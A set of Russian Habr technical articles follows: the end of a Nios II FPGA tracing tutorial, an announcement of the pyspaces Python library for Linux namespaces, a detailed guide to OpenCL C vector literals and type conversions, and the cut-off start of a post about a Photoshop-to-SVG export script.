if {[string first "|" $info] == -1} {
set info [string map {"FULL_HPATH " "FULL_HPATH a:b|"} $info]
}
puts "$info (INSTANCE_ID:$i)"
incr i
}
}
```
Теперь, если чёрточек нет, они будут добавлены. И наконец-то программа заработает не только с ужасной, но и с оптимально написанной процессорной системой!
Настройка проекта в Altera Monitor
----------------------------------
Уфффф. Всё. Конец раздолбайству, бездорожью и разгильдяйству (хотя, насчёт бездорожья — это не точно). Теперь снова рисунки в статье отражают инструкцию для работы! У нас есть проект для ПЛИС, а также программа, которая собирается и запускается в Eclipse. Теперь запускаем Altera Monitor и создаём проект.
Создаём каталог с проектом (я кладу его отдельно от проекта для ПЛИС) и даём имя проекту. Также выбираем архитектуру процессора
Систему я выбираю Custom System. При этом надо указать мои файлы \*.sof и \*.sopcinfo. Я выбираю их в рабочих каталогах. Прелоадер нашей системе не нужен.
Тип программы выбираем Program with Device Driver Support, тогда будет построена библиотека BSP:
Рабочий файл пока что один (он был создан в Eclipse). Вот его и добавляю:
В последнем окне я ничего не меняю:
Соглашаемся с загрузкой sof файла:
Если мы только что поставили ПО, переключились в режим работы с исходными текстами. Потом он уже будет включён (я покажу, как выглядит меню у меня, когда всё уже включено, там же будет и пункт для включения).
Программа на Си у меня простейшая:
```
#include "sys/alt_stdio.h"
int main()
{
alt_putstr("Hello from Nios II!\n");
volatile int i=0;
i += 1;
i += 2;
i += 3;
i += 4;
i += 5;
i += 6;
i += 7;
i += 8;
i += 9;
i += 10;
i += 11;
i += 12;
/* Event loop never exits. */
while (1);
return 0;
}
```
Пытаюсь её собрать:
Получаю ошибку:
**c:/intelfpga/17.1/nios2eds/bin/gnu/h-x86\_64-mingw32/bin/../lib/gcc/nios2-elf/5.3.0/../../../../../H-x86\_64-mingw32/nios2-elf/bin/ld.exe: region `Code' overflowed by 15888 bytes**
Это потому, что я не добавлял SDRAM в систему, ограничился встроенной памятью ПЛИС. Но почему в Eclipse всё поместилось, а тут нет? Потому что BSP там я выбрал с суффиксом Small, а здесь мне автоматически сделали обычный пакет. Поэтому открываем файл: C:\Work\Play2\BSP\settings.bsp
И начинаем ручную донастройку.
Пересобираем BSP:
И снова собираем проект. На этот раз успешно. Теперь загружаем его:
Наконец, реальная трассировка
-----------------------------
Вы ещё не забыли, зачем я всё это делаю? Я это делаю для трассировки. Её надо активировать. Для этого переходим на вкладку Trace и в контекстном меню выбираем Enable Trace:
Я поставлю точку останова в конце функции main() на вкладке Disassembly (как приятно выглядит RISC ассемблер после ужасного стекового ассемблера, в который превращается код на Яве!)
Вот начало функции main:
Промотаю чуть вниз и поставлю точку останова сюда:
Запускаем, ждём останова и идём на вкладку Trace.
Вообще, всё не очень хорошо. Сначала явно какое-то ожидание (у нас там был вывод в JTAG, так что вполне законная вещь):
В конце — какой-то ещё код… Но я не вижу кода функции main! Вот конец:
Я даже не знаю, что сказать. Но так или иначе, если поставить не одну, а две точки останова (в начало и конец функции main), то после прогона от первой до второй, картинка будет приличной:
Краткие выводы
--------------
Итак, мы выяснили, что допытываться, как работал тот или иной участок вполне можно. А значит, тема статьи («…как процессор докатился до такой жизни») раскрыта. Интереснее, как до такой жизни докатились все те, чьи проблемы пришлось решать, для того чтобы получить результат? И очень жаль, что пока мне не удалось определять, за сколько тактов выполнилась та или иная команда. Из обрывков документации видно, что это, кажется, технически возможно, но какое ПО позволит это сделать, не ясно. Есть мнение, что нам поможет документ **Analyzing and Debugging Designs with the System Console**, в который пришлось вчитываться при анализе tcl-скрипта. В нём есть интересная табличка **Table 10-15: Trace System Commands**, но на детальную проработку этого дела лично у меня просто нет времени. Но возможно, кому-то это будет настолько важно, что он реализует всё. Указанные команды включаются в tcl-скрипты.
Ну, а в следующих статьях замеры придётся делать по старинке, осциллографом. | https://habr.com/ru/post/464795/ | null | ru | null |
# Контейнер в linux, linux в egg, egg в python
Hello, {{username}}
Я DevOps и очень люблю Linux. Понятное дело, что с такой связкой я просто не мог не полюбить LinuX Containers (тем более, что BSD и Solaris давно радуют аналогичными возможностями своих пользователей).
Естественно, бизнес тоже увидел привлекательную возможность и программы для управления контейнерами стали расти и множиться: [docker](https://github.com/docker/docker) , [rocket](https://github.com/coreos/rkt), [vagga](https://github.com/tailhook/vagga), [lxc](https://linuxcontainers.org), [systemd-nspawn](https://wiki.archlinux.org/index.php/Systemd-nspawn), etc…
Docker стал стандартом де-факто в первую очередь благодаря системе создания и доставки контента. Но главный демон докера запускается от root, и, на мой взгляд, это минус этого проекта ([Пруф](https://fosterelli.co/privilege-escalation-via-docker.html)).
Rocket и vagga пошли другим путем, и путь этот носит название unprivileged containers. Вам больше не нужны root привилегии, чтобы запустить процесс в новых namespaces, и это открывает интересные перспективы для построения тестовых площадок и безопасного окружения.
Но во всех этих проектах есть один фатальный недостаток: они все написаны с использованием c, go и rust, а я люблю python и не могу поучаствовать в их разработке. Согласитесь, довольно обидно пропускать все веселье.
Так что под катом вас ждет библиотека для запуска процессов в новых [linux user namespaces](http://man7.org/linux/man-pages/man7/user_namespaces.7.html):
#### [Pyspaces](https://pypi.python.org/pypi/pyspaces)
*Детка, Ты просто космос*
##### **Goals**
Сейчас нет удобного способа работать с linux namespaces из python:
* можно использовать [asylum](https://pypi.python.org/pypi/asylum/0.4.1) — проект выглядит мертвым и хостится непонятно где
* или можно попробовать [python-libvirt](https://pypi.python.org/pypi/libvirt-python/1.2.13) биндинги с большим уровнем абстракции
* использовать код на c, как это делают vagga и lxc
* или дергать glibc вызовы с помощью ctypes
* в противном случае остается subprocess.Popen
Я хочу изменить это: я хочу создать native python bindings к билбиотеке glibc с интерфейсом как в multiprocessing.Process. И еще немножко целей:
* популяризировать linux
* популяризировать python
* поучаствовать в создании популярного open source проекта
* прославиться
* популярность и девушки будут приятным бонусом
ЗЫ: так же посмотрите на [python-nsenter](https://github.com/zalando/python-nsenter) — выглядит здорово!
##### **Example**
```
import os
from pyspaces import Container
def execute(argv):
os.execvp(argv[0], argv)
cmd = "mount -t proc proc /proc; ps ax"
c = Container(target=execute, args=(('bash', '-c', cmd),),
uid_map='0 1000 1',
newpid=True, newuser=True, newns=True
)
c.start()
print("PID of child created by clone() is %ld\n" % c.pid)
c.join()
print("Child returned: pid %s, status %s" % (c.pid, c.exitcode))
```
```
PID of child created by clone() is 15978
PID TTY STAT TIME COMMAND
1 pts/19 S+ 0:00 bash -c mount -t proc proc /proc; ps ax
3 pts/19 R+ 0:00 ps ax
Child returned: pid 15978, status 0
```
##### **CLI**
```
space -v execute --pid --fs --user --uid '0 1000 1' bash -c 'mount -t proc /proc; ps ax'
space chroot --pid --uid '0 1000 1' ~/.local/share/lxc/ubuntu/rootfs/ /bin/ls /home/
```
##### **TODO**
1. [x] clone & Container
2. [x] CLI
3. [x] Chroot
4. [ ] process list
5. [ ] inject
6. [ ] move CLI to separate package
7. [ ] addons
8. [ ] support for lxc, vagga, rocket, docker, etc...
9. [ ] ...
10. [ ] one tool for rule them all!!1
##### **Links**
[](https://github.com/Friz-zy/pyspaces) [](https://pypi.python.org/pypi/pyspaces/) [](https://pyspaces.readthedocs.org/en/latest/)
Лицензия — MIT, но так же собираюсь добавить BSD и Apache 2.0
##### **It's not the end**
Работы предстоит очень много: нужны нормальные тесты, документация, новые фичи и приятное cli. Откладывание анонса в долгий ящик прервали ребята из [Minsk Python Meetup](https://ru-ru.facebook.com/MinskPythonMeetup), за что им большое спасибо. Теперь я надеюсь на поддержку и интерес у сообщества ;)
И в завершение хотелось бы привести цитату создателя scipy & numpy:
> Keys to success: Hard work — specially up front
>
> Often lonely — initially nobody believes in your idea more than you do. Others need some 'proof' before they join you.
>
> The more complicated what you are doing is the lonelier it will be initially.
>
>
>
> I spent 18 months not publishing papers to write NumPy
>
> (despite many people telling me it was foolish)
>
> [Travis Oliphant](https://youtu.be/oXRvpBJ-Dkc?t=967)
>
>
ЗЫ: в живую со мной можно пообщаться по теме и не только на очередном [Minsk Python Meetup](https://ru-ru.facebook.com/MinskPythonMeetup) | https://habr.com/ru/post/256647/ | null | ru | null |
# Что ещё необходимо узнать про OpenCL C перед тем, как на нём писать
| | |
| --- | --- |
| Как было написано |
```
float4 val = (0, 0, 0, 0);
```
|
| Что хотел написать автор |
```
float4 val = (float4)(0, 0, 0, 0);
```
|
| Как нужно было написать |
```
float4 val = 0;
```
|
Если Вы сталкивались с OpenCL или планируете столкнуться и не видите разницы между первым и вторым вариантом, а третий вызывает у Вас сомнения — «А скомпилируется ли вообще?» — добро пожаловать под кат, там много нюансов языка и совсем ничего про API и оптимизацию производительности.
Самая дорогая компьютерная память — в голове программистов. Вероятно именно поэтому две самые популярные технологии программирования на GPU — CUDA и OpenCL — основаны не на принципиально новых параллельных языках, не на ассемблерах для конкретных архитектур, а на адаптированных C++ и C. В случае OpenCL самый популярный язык написания ядер это OpenCL C 1.2 — диалект C на основе ISO C99. Убрана стандартная библиотека, добавлены векторные типы и операции над ними, несколько функций для блокировок и определения своего места среди прочих потоков, четыре адресных пространства. Добавлены простые атомарные операции, несовместимые с C11 (атомарные операции и блокировки из C11 добавлены в OpenCL C 2.0, который пока что не получил широкого распространения). Добавлены некоторые удобные функции которых не было в C, что-то вроде стандартизованных [интринсиков](https://en.wikipedia.org/wiki/Intrinsic_function).
По языку и API есть много примеров, большая часть из которых это сложение двух векторов. Есть хорошая, хоть и сухая, [официальная спецификация](https://www.khronos.org/registry/OpenCL/specs/opencl-1.2.pdf), несколько англоязычных книг, советы по оптимизации от производителей устройств. Как только программист понимает, как написать свою задачу — он пишет её на знакомом C99 используя новые функции вроде `get_global_id()` и всё в плане языка кажется понятным и примитивным. Такой знакомый C99, что можно запросто угодить в ловушку и не заметить её до поры до времени. Да, OpenCL C очень похож на С, но в нём есть как очень полезные отличия, незаслуженно забытые потому что аналогов в C99 нет, так и очень коварные отличия, прячущиеся за похожий синтаксис.
Я просматривал много кода на OpenCL С и люди, которые только начинают на нём писать, делают одни и те же ошибки:
* путают векторный литерал с приведением типа;
* не используют замечательные механизмы преобразования типов;
* забывают о нюансах преобразования векторных типов.
Как видно из списка, всё дело в преобразовании типов. В [спецификации OpenCL 1.2](https://www.khronos.org/registry/OpenCL/specs/opencl-1.2.pdf) это разделы *6.2.\* Conversions and Type Casting*. Кроме того, коварен следующий раздел *6.3 Operators*, ~~который тоже никто не читает~~. Как показывает опыт, многое в спецификации написано недостаточно ясно и слишком скучно — попробую восполнить пробел в доступной русскоязычной документации на эти темы данной статьёй.
Векторные литералы либо явное приведение типа
---------------------------------------------
Новая конструкция в OpenCL C — векторный литерал, с помощью которого можно задать значение вектора. К сожалению, его синтаксис очень похож на явное приведение типа:
```
(векторный тип)(значения скаляров или векторов)
```
Например
```
(int2)(1,2);
```
или
```
// задаём вектор из двух целых
int2 a = (int2)(1, 2);
// a=[1,2]
// ещё один вектор из двух целых
int2 b = (int2)(3, 4);
// b=[3,4]
// вектор из четырёх целых получается склеиванием пары двухкомпонентных векторов
int4 c = (int4)(a, b);
// c=[1,2,3,4]
// трёхкомпонентный вектор получается из скаляра и двухкомпонентного вектора
int3 d = (int3)(1, c.xy);
// d=[1,1,2]
// как это может не быть приведением типов?!
float2 e = (float2)(1);
// e=[1.0f,1.0f]
```
Однако `(float2)(1)` и другие примеры выше это не приведение типов, а новая конструкция (см. *6.1.6 Vector Literals* в [спецификации OpenCL 1.2](https://www.khronos.org/registry/OpenCL/specs/opencl-1.2.pdf)).
Внутри вторых скобок должно быть суммарно столько скаляров либо компонентов вектора, сколько в векторном типе внутри первых скобок. Есть одно исключение — если справа только одно значение скаляра в скобках, то оно само «размножается» до необходимого количества компонентов вектора.
Явного приведения векторных типов в стиле C просто нет в языке. Роковая ошибка может быть допущена, если замыленными глазами увидеть «знакомое» приведение типа вместо векторного литерала. Тогда тип в скобках в начале можно убрать: «Ведь и так компилируется, зачем лишнее приведение типов? Уже неявно привелось».
Реальный пример:
```
int2 coords = (get_global_id(0), get_global_id(1));
```
`coords` задается не векторным литералом, для векторного литерала необходимо было добавить векторный тип:
```
int2 coords = (int2)(get_global_id(0), get_global_id(1));
```
У нас же получилось следующее: `(get_global_id(0), get_global_id(1))` и это уже конструкция из обычного C — в скобках вызов двух функций через оператор «`,`» (запятая), который означает, что выполнятся обе функции и выражение вернёт результат второй функции, как если бы мы написали:
```
get_global_id(0);
int2 coords = get_global_id(1);
```
Сработает неявное преобразование скаляра в вектор (о нём чуть дальше) и в `coords` будет вектор `[get_global_id(1), get_global_id(1)]`, а не `[get_global_id(0), get_global_id(1)]`, как ожидалось.
К счастью, для простых случаев компилятор может выдать предупреждение вроде «`warning: expression result unused`», но рассчитывать на это не стоит.
Такой код ещё можно быстро найти, потому что он работает неправильно. А вот следующий пример будет работать, пока цвет — серый. Когда мы захотим поменять цвет, он почему-то всё равно будет издевательски серым.
```
// серый цвет, всё выглядит правильно
float3 color = (0.5f, 0.5f, 0.5f);
// color=[0.5f, 0.5f, 0.5f]
```
Код работает, проект сдан. И вдруг понадобилось небольшое изменение — цвет из серого сделать тёмно-синим.
```
// хотели синий, получили опять серый
float3 color = (0.1f, 0.1f, 0.5f);
// color=[0.5f, 0.5f, 0.5f]
```
Надо было использовать векторный литерал:
```
// правильный вариант
float3 color = (float3)(0.1f,0.1f, 0.5f);
// color=[0.1f,0.1f, 0.5f]
```
Преобразование булевых значений в векторы
-----------------------------------------
```
int val = true;
int2 val2 = true;
```
Какое значение лежит в `val`? Какое — в `val2`?
Для скаляров действуют правила ISO C99, при преобразовании значения `bool` (а тип `bool` и константы `true` и `false` есть в C99 и в OpenCL C) `false` становится нулём, а `true` — единицей. Это правила для скаляров. Таким образом, в `val` будет «1». Не всегда это удобно, но такое поведение заложено в мозг программиста — конструкции типа `x+=(a>b)` уже не удивляют.
Однако, в OpenCL C при преобразовании к векторному целому типу значения типа `bool` возвращают либо целые со всеми битами в нуле, либо со всеми битами в единице, что соответствует `(int)-1`. Вот что говорит на эту тему [спецификация](https://www.khronos.org/registry/OpenCL/specs/opencl-1.2.pdf) (раздел *6.2.2 Explicit Casts*):
> When casting a bool to a vector integer data type, the vector components will be set to -1 (i.e. all bits set) if the bool value is true and 0 otherwise.
Таким образом, в `val2` будет вектор `[-1, -1]`. Это немного неожиданно в контексте преобразования типа когда сначала выражение приводится к типу компонента вектора, а потом размножается — как для остальных типов, но для `bool` заявлено именно такое поведение. При грамотном использовании оно позволяет заменять условные выражения на побитовые операции.
Для проведения быстрых тестов вроде «Скомпилируется или нет? Какое значение в переменной?» я написал и выложил на гитхаб проект [opencl-sandbox](https://github.com/tmagomedov/opencl-sandbox). Все примеры из этой статьи я проверил на своей машине. В том числе [и такой](https://github.com/tmagomedov/opencl-sandbox/blob/master/kernels/bool_to_int_vec.cl):
```
__kernel void bool_to_int_vec()
{
int val = true;
int2 val2 = true;
printf("int val = true; // val=%d\n", val);
printf("int2 val2 = true; // val2=%v2d\n", val2);
if(val2.x == -1 && val2.y == -1)
{
printf("Compiler follows specification for bool->intn conversion, OK\n");
}
else
{
printf("Compiler does not follow specification for bool->intn conversion, FAILED\n");
}
}
```
Как известно, разработчики компиляторов тоже люди и не помнят спецификации наизусть. **На своей машине я в результате эксперимента с двумя платформами по два устройства в каждой наблюдал:**`$ ./clrun ../kernels/bool_to_int_vec.cl
...
Running "bool_to_int_vec" kernel on AMD Accelerated Parallel Processing / Tonga
int val = true; // val=1
int2 val2 = true; // **val2=-1,-1**
Compiler follows specification for bool->intn conversion, **OK**
...
Running "bool_to_int_vec" kernel on AMD Accelerated Parallel Processing / Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz
int val = true; // val=1
int2 val2 = true; // **val2=1,1**
Compiler does not follow specification for bool->intn conversion, **FAILED**
...
Running "bool_to_int_vec" kernel on Intel(R) OpenCL / Intel(R) HD Graphics
int val = true; // val=1
int2 val2 = true; // **val2=1,1**
Compiler does not follow specification for bool->intn conversion, **FAILED**
...
Running "bool_to_int_vec" kernel on Intel(R) OpenCL / Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz
int val = true; // val=1
int2 val2 = true; // **val2=1,1**
Compiler does not follow specification for bool->intn conversion, **FAILED**`
Две OpenCL платформы — AMD и Intel. У каждой платформы по два устройства — GPU и CPU. И только компилятор AMD под GPU (самый зрелый) следует спецификации, остальные три записывают в `val2` вектор из единиц, а не из -1.
**Спустя некоторое время я проверил то же ядро на другой машине с тремя реализациями OpenCL — от AMD, Intel и NVidia:**`...
Running "bool_to_int_vec" kernel on AMD Accelerated Parallel Processing / Ellesmere
int val = true; // val=1
int2 val2 = true; // val2=**-1,-1**
Compiler follows specification for bool->intn conversion, **OK**
...
Running "bool_to_int_vec" kernel on AMD Accelerated Parallel Processing / Intel(R) Core(TM) i5-7400 CPU @ 3.00GHz
int val = true; // val=1
int2 val2 = true; // val2=**1,1**
Compiler does not follow specification for bool->intn conversion, **FAILED**
...
Running "bool_to_int_vec" kernel on Intel(R) OpenCL / Intel(R) HD Graphics 630
int val = true; // val=1
int2 val2 = true; // val2=**-1,-1**
Compiler follows specification for bool->intn conversion, **OK**
...
Running "bool_to_int_vec" kernel on Intel(R) OpenCL / Intel(R) Core(TM) i5-7400 CPU @ 3.00GHz
int val = true; // val=1
int2 val2 = true; // val2=**-1,-1**
Compiler follows specification for bool->intn conversion, **OK**
...
Running "bool_to_int_vec" kernel on NVIDIA CUDA / GeForce GTX 1060 6GB
int val = true; // val=1
**1,1**
Compiler does not follow specification for bool->intn conversion, **FAILED**`
Всего в системе пять устройств. Компиляторы AMD ведут себя так же. Более свежий компилятор от Intel «исправился» и теперь ведёт себя в соответствии со стандартом. Компилятор NVidia не справился не только с преобразованием в векторный тип, но и просто с отображением строки во втором `printf()`.
Выводов из этого два:
1. без знания спецификации переносимый код не написать;
2. необходимо покрывать OpenCL ядра тестами, потому что каждая платформа понимает спецификации по-своему.
Логические операторы и операторы сравнения для векторов
-------------------------------------------------------
Как и для приведения `bool` к `int`, у соответствующих операторов поведение для скаляров и векторов разное. Значения результата выполнения операторов `>`, `<`, `>=`, `<=`, `==`, `!=`, `&&`, `||`, `!`, это `int`. Для скаляров — 0 или 1. Для векторов — вектор соответствующей длины из `int`'ов со значениями 0 или -1 (все биты выставлены в 1).
```
int a = 1 > 0; // a=1
int4 b = (int4)(1) > (int4)(0); // b=[-1,-1,-1,-1]
```
При проверке на 4-х компиляторах на этот раз все выдали правильный результат.
Тернарный оператор для векторов
-------------------------------
Тернарный оператор вида «`exp1 ? expr2 : expr3`» тоже ведёт себя аналогично по-разному для скаляров и векторов. Для скаляров — как в C99, результат выражения это `expr2` если `expr1` не ноль и `exp3` если `expr1` ноль.
Для векторов во-первых, тип `expr1` может быть только целым. Во-вторых, при проверке условия в `expr1` проверка идёт не на равенство нулю и даже не по первому биту, а по [старшему биту](https://en.wikipedia.org/wiki/Most_significant_bit). При этом оператор работает покомпонентно. Если одно из выражений `expr2` и `expr3` это вектор, а другое — скаляр, то скаляр неявно преобразуется к векторному типу с соответствующими компонентами.
```
int a = 1 ? 1 : 0; // a=1
int4 b = (int4)(1, 0, 1, 0) ? (int4)(1) : 0; // b=[0,0,0,0]
int4 c = (int4)(-1, 0, -1, 0) ? 1 : (int4)(0); // c=[1,0,1,0]
int4 d = (uint4)(0x80000000u, 0, 0, 0) ? (int4)(1) : (int4)(0); // d=[1,0,0,0]
// в C99 это допустимо, но не все компиляторы OpenCL С позволяют так делать
float e = 0.0f ? 1 : 2;
// ошибка компиляции, expr1 должно быть вектором целых
float4 f = (float4)(0) ? (float4)(1) : (float4)(2);
// expr2 и expr3 могут быть вещественными векторами
float4 g = (int4)(-1, 1, -1, 1) ? (float4)(1) : (float4)(0);
// g=[1.0f, 0.0f, 1.0f, 0.0f]
```
Как видите, тут можно опять угодить в ловушку похожести. Сравните одинаковый с точностью до векторизации код:
```
int a = 1 ? 1 : 0; // a=1
int4 b = (int4)(1) ? (int4)(1) : (int4)(0); // b=[0, 0, 0, 0]
```
Вектор `b` заполнен нулями, в полном соответствии со спецификацией и к недоумению программистов на C.
Преобразование вещественных и целых типов в OpenCL C
----------------------------------------------------
Для скалярных типов преобразования из целых типов в вещественные и из вещественных в целые производятся по тем же правилам, что в C99 — то есть при преобразовании из вещественного числа в целое у него отбрасывается дробная часть, при преобразовании из целого числа в вещественное получается вещественное число с тем же значением, что исходное целое. В случае, если число не влезает в диапазон типа, к которому происходит преобразование — результат зависит от реализации.
Если необходимо интерпретировать данные одного типа как данные другого, то единственный всегда работающий способ сделать это в C99 — использовать функцию `memcpy`. В OpenCL нет `memcpy`, зато в отличие от C99 абсолютно законно пользоваться `union`'ами для интерпретации данных как данных другого типа:
> The OpenCL language extends the union to allow the program to access a member of a union object using a member of a different type.
Ко всему прочему, поддерживаются векторные типы и возможности железа по операциям с насыщением — это диктует особенности преобразования типов в OpenCL.
Поддерживаются следующие типы преобразований типов:
1. неявные преобразования (Implicit Conversions);
2. явное приведение (Explicit Casts);
3. явные преобразования (Explicit Conversions);
4. интерпретация данных как данные другого типа (Reinterpreting Data As Another Type).
В OpenCL пункты 1 и 2 аналогичны C99, пункты 3 и 4 — новшества для удобства и ясности работы с векторными типами.
### Неявные преобразования и явное приведение типа в стиле C
Как и в C99, если в выражении встречаются операнды различных типов, то они преобразуются к одному общему типу. Разница в том, как это работает для векторов. Для скалярных типов неявное преобразование типа и явное приведение типа поддерживаются так же, как в C99:
```
float a = 5.1f;
int b = a; // b = 5
float c = 1.6f;
int d = (int)c; // d = 1
```
При явном или неявном преобразовании из скалярного типа в векторный сначала скаляр приводится к типу элемента вектора по правилам аналогичным C99, а потом размножается до
размера векторного типа:
```
float a = 4.7f;
float4 b = 5; // int 5 → float 5.0f → (float4)(5.0f, 5.0f, 5.0f, 5.0f)
int4 c = 4.7f; // float 4.7f → int 4 → (int4)(4, 4, 4, 4)
int4 d = 1; // int 1 → (int4)(1, 1, 1, 1)
int4 e = (int4) a;// float 4.7 → int 4 → (int4)(4, 4, 4, 4) явное приведение типа для скаляра
float4 f = a; // float 4.7f → (float4)(4.7f, 4.7f, 4.7f, 4.7f)
```
Неявное преобразование и явное приведение в стиле C одного векторного типа в другой — запрещены. Даже если у них одинаковое количество компонентов.
```
float4 a = (float4)(5.0f, 5.0f, 5.0f, 5.0f); // это векторный литерал, а не приведение типа
int4 b = a; // ошибка, неявного преобразования векторных типов нет в языке
float4 c = 0;
int4 d = (int4)c; // ошибка, явного привидения типа вектора нет в языке
int4 e = (int4)(c); // ошибка, такой векторный литерал составить нельзя — в языке нет неявного преобразования float4 в int4
int4 f = (int4)(c.xy, c.zw); // ошибка, такой векторный литерал составить нельзя — в языке нет неявного преобразования float2 в int2
int4 g = (int4)(c.x, c.y, c.z, c.w); // а такой векторный литерал составить можно, потому что скаляры неявно преобразовались из float к int
```
Явного приведения векторных типов нет, однако скаляр привести к векторному типу можно. Это добавляет дополнительную путаницу к векторным литералам. Сравните три способа задать вектор с одинаковыми компонентами:
```
float2 a = (float2)(1); // векторный литерал
float2 b = (float2)1; // явное приведение типа скаляра к вектору
float2 c = 1; // неявное преобразование типа скаляра к вектору
```
Для векторов с разными компонентами такой же код не сработает, нужно использовать только векторный литерал. Что самое плохое, весь приведённый ниже код отлично скомпилируется, просто результаты будут соответствующие:
```
float2 a, b, c, d;
// это векторный литерал
a = (float2)(1, 2);
// a=[1, 2]
// 1 явно приводится к вектору из двух единиц, 2 — игнорируется
b = (float2)1, 2;
// b=[1, 1]
// 1 неявно приводится к вектору из двух единиц, 2 — игнорируется
c = 1, 2;
// c=[1, 1]
// 1 игнорируется, 2 неявно приводится к вектору из двух двоек
d = (1, 2);
// d=[2, 2]
```
### Явное преобразование вещественных и целых типов
Помимо приведения типов в стиле C, в OpenCL появился механизм приведения типов, который обрабатывает ситуации переполнения и работает с векторами. Это семейство функций
```
convert_результирующийТип(исходныйТип)
```
и более общие функции
```
convert_результирующийТип<_sat><_режимОкругления>(исходныйТип)
```
которые дополнительно принимают режим работы при переполнении и вид округления. Для скаляров и векторов функции работают одинаково. Количество элементов в векторах исходного и результирующего типов должно совпадать.
```
float a = 5.5f;
int b = convert_int(a); // b = 5
float4 c = a; // c=[5.5, 5.5, 5.5, 5.5]
float2 d = convert_float2(c); // ошибка, вектор из четырёх компонентов нельзя преобразовать к вектору из двух
// а вектора с разными типами но одинаковым количеством
// компонентов преобразовывать как раз можно и нужно
int4 e = convert_int4(c);
// e=[5,5,5,5]
```
При приведении к целым типам поведение при переполнении определяется опциональным
модификатором `_sat`. Без него переполнение целого типа происходит как обычно в C99, с ним — работает насыщение, значения вне допустимого типом диапазона приводятся к максимально близкому значению, представимому в преобразованном типе:
```
int a = 257;
uchar b = convert_uchar(a); // b = 1, сработало переполнение
b = convert_uchar_sat(a); // b = 255, сработало насыщение
```
При приведении к вещественным типам использование `_sat` не допускается. В этом нет необходимости, ведь при переполнении вещественных типов они и так становятся ±INF.
Для контроля над округлением предусмотрены модификаторы `_rte` (round to nearest even), `_rtz` (round toward zero), `_rtp` (round toward positive infinity) и `_rtn` (round toward negative infinity), которые обозначают округление до ближайшего целого, округление к нулю, округление к плюс бесконечности и округление к минус бесконечности соответственно. При отсутствии модификатора округления используется `_rtz` для преобразования из вещественных в целые и `_rte` при преобразовании из целых в вещественные. В `_rte` используется не привычный математический, а так называемый «[банковский](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%80%D1%83%D0%B3%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5#%D0%92%D0%B0%D1%80%D0%B8%D0%B0%D0%BD%D1%82%D1%8B_%D0%BE%D0%BA%D1%80%D1%83%D0%B3%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_0,5_%D0%BA_%D0%B1%D0%BB%D0%B8%D0%B6%D0%B0%D0%B9%D1%88%D0%B5%D0%BC%D1%83_%D1%86%D0%B5%D0%BB%D0%BE%D0%BC%D1%83)» вариант округления к ближайшему целому. Когда дробная часть ровно 0.5 то нет одного ближайшего целого числа, из двух ближайших выбирается чётное.
```
int a = convert_int_rtp(4.2f); // a = 5
a = convert_int(4.2f); // a = 4
int4 b = convert_int4_rte((float4)M_PI_F); // b = [3, 3, 3, 3]
```
Преобразование `float` в `int` с разными режимами округления (проверено [тут](https://github.com/tmagomedov/opencl-sandbox/blob/master/kernels/conversions.cl)):
| | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | 0.5 | -0.5 | 1.1 | -1.1 | 1.5 | -1.5 | 1.7 | -1.7 |
| Округление к ближайшему целому
(round to nearest even, rte) | 0 | 0 | 1 | -1 | 2 | -2 | 2 | -2 |
| Округление к нулю
(round toward zero, rtz) | 0 | 0 | 1 | -1 | 1 | -1 | 1 | -1 |
| Округление к плюс бесконечности
(round toward positive infinity, rtp) | 1 | 0 | 2 | -1 | 2 | -1 | 2 | -1 |
| Округление к минус бесконечности
(round toward negative infinity, rtn) | 0 | -1 | 1 | -2 | 1 | -2 | 1 | -2 |
В [англоязычной статье про округление на википедии](https://en.wikipedia.org/wiki/Rounding) есть замечательная [иллюстрация](https://upload.wikimedia.org/wikipedia/commons/8/8a/Comparison_rounding_graphs_SMIL.svg). Режиму `rte` на ней соответствует «even», `rtz` — «round→zero», `rtp` — «round up», `rtn` — «round down».
Интерпретация данных как данных другого типа
--------------------------------------------
Для интерпретации данных одного типа как данных другого типа в OpenCL существует, помимо `union`'ов, семейство функций `as_тип()` для скаляров и векторов:
```
float a = 25.0f;
int b = as_int(a);
// b=0x41C80000, что соответствует двоичному представлению 25.0f
```
Если размер в байтах исходного и нового типов не совпадают, то `as_тип` должен вызвать ошибку компиляции:
```
int a = 0;
char b = as_char(a); //ошибка, sizeof(int)!=sizeof(char)
float2 c = 0;
float8 d = as_float8(c); //ошибка, sizeof(float2)!=sizeof(float8)
```
Если количество элементов в исходном и новом типе не совпадает (но размеры типов одинаковы), то результат зависит от реализации OpenCL (implementation-defined), кроме случая когда операнд это 4-х компонентный вектор, а результат — 3-х компонентный вектор. Так, бывает удобно получить байты 32-х битного слова как элементы вектора:
```
uint word = 0x01020304;
uchar4 bytes = as_uchar4(word);
```
Но результат при этом может быть как `[4, 3, 2, 1]`, так и `[1, 2, 3, 4]`, так и все что угодно, на усмотрение конкретной реализации OpenCL. Впрочем, при оптимизации и работе на какой-либо одной версии OpenCL подобное использование `as_тип` вполне допустимо.
Если операнд это 4-х компонентный вектор, а результат — 3-х компонентный вектор, то
`as_тип` обязан возвратить биты исходного типа без изменений — по стандарту
размеры векторов из трех компонент равны размеру векторов из четырех компонент, если размеры их элементов одинаковы.
```
float4 a = 1.0f;
int3 b = as_int3(a); // работает, так как sizeof(int3)==sizeof(float4)
// b=[0x3f800000, 0x3f800000, 0x3f800000]
char3 c = as_char3(a); // ошибка, sizeof(char3)!=sizeof(float4)
```
Заключение
----------
OpenCL C коварен в своей похожести на обычный C99. Надеюсь, после прочтения этой статьи Вы
* никогда не спутаете векторный литерал с явным приведением типов;
* не попадётесь на логических операторах в векторных типах;
* добавите в свой арсенал функции convert\_\* и as\_\*; | https://habr.com/ru/post/345984/ | null | ru | null |
# Бесплатный скрипт для Photoshop: экспорт векторных слоев из PSD в SVG
Использование готового и бесплатного скрипта, о котором пойдет речь, значительно упрощает и ускоряет процесс переноса исходников из Photoshop в Sketch. Но я думаю, скрипт может пригодится и для тех, кто с указанной программой не работает. Он экспортирует слои в формат .svg, избавляя от необходимости по одному генерировать SVG файлы.
Требования:
— Windows или Mac OSX;
— Photoshop CS5, CS6;
— Adobe Illustrator.
[**Загрузить скрипт PSD в SVG**](https://s3.amazonaws.com/static.hackingui.com/dlm_uploads/2014/12/save-ps-to-svg.zip)
#### Как использовать скрипт
1. Скачать скрипт по инструкции, описанной ниже.
